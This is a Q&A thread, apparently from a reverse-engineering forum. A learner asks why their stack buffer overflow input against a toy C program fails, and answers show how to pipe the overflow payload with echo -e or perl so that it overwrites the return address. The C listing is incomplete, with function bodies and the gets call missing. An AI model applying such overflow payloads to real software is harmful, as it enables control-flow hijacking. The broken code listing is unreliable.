I was trying to understand buffer overflow attacks using the following C program

void iwontprint()  
    printf("i wont be printed!");  

void callme()  
    char buffer[8];  

int main(int argc,int** argv)  
    return 0;  

Loading up the program in GDB before calling the gets(buffer) gives the following value of ESP :

0xbffff4d4: 0xb7ff0590 0x080484db 0xb7fc1ff4 0xbffff4e8  
0xbffff4e4: 0x080484b6 0xbffff568 0xb7e79e46 0x00000001

And after entering the input 123456789abc\x7c\x84\x04\x08 I am getting totally different values in ESP :

0xbffff4d4: 0xbffff4d8 0x34333231 0x38373635 0x63626139  
0xbffff4e4: 0x6337785c 0x3438785c 0x3430785c 0x3830785c

I've already set randomize_va_space = 0

$cat /proc/sys/kernel/randomize_va_space   

Can anybody provide any pointers as to what am I missing here ?

closed as off topic by Mellowcandle, 0xC0000022L, mrduclaw, Ange, perror Apr 10 '13 at 13:53

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  • 2
    Although very interesting I find it off topic, voting to close – Mellowcandle Apr 9 '13 at 16:09

Your Stack is totally fine. Look more careful at the values:

0x34333231 0x38373635 0x63626139 0x6337785c 0x3438785c 0x3430785c 0x3830785c

which interpreted as an ascii string becomes this. literally:


As you can see, it's exactly what you entered. And I mean by that, that for example \x7c is the String "\x7c" and not "|". Use this technique to send the values properly:

echo -e "123456789abc\x7c\x84\x04\x08" | ./yourbinary

  • Thanks for your response. however I am not able to understand why 0x63626139 is there instead of 0x0804847c (which i entered as input in little endian). – Novice User Apr 9 '13 at 10:07
  • AFAIK , 0xbffff4d8 & 0x34333231 are for char buffer[8] and 0x38373635 should be for value of EBP (old). Then the next value should be the one i entered (beyond 12 bytes) ? – Novice User Apr 9 '13 at 10:09
  • No. You didn't enter 0x0804847c. You entered 0x3830785c, which is: 0x5c==\ , 0x78==x, 0x30==0, 0x38==8 that is \x08 as a string. not the byte value 0x08. – samuirai Apr 9 '13 at 10:17
  • actually , echo won't interpret \x escapes either unless you specify -e switch – 0xea Apr 9 '13 at 10:26
  • Only on Linux. The BSD Version doesn't know this option (unix.com/man-page/FreeBSD/1/echo) – samuirai Apr 9 '13 at 10:28

Samurai's answer is correct , but put more clearly , your mistake is that you enter the literal string


where as what you probably want is something like:

perl -e 'print "123456789abc\x7c\x84\x04\x08"' | ./yourbinary

In the first case the \x7c\x84\x04\x08 is just that, a 16 characters length string, where in the second case, the \x escape sequence is actually interpreted and \x7c\x84\x04\x08 is printed as just 4 bytes.

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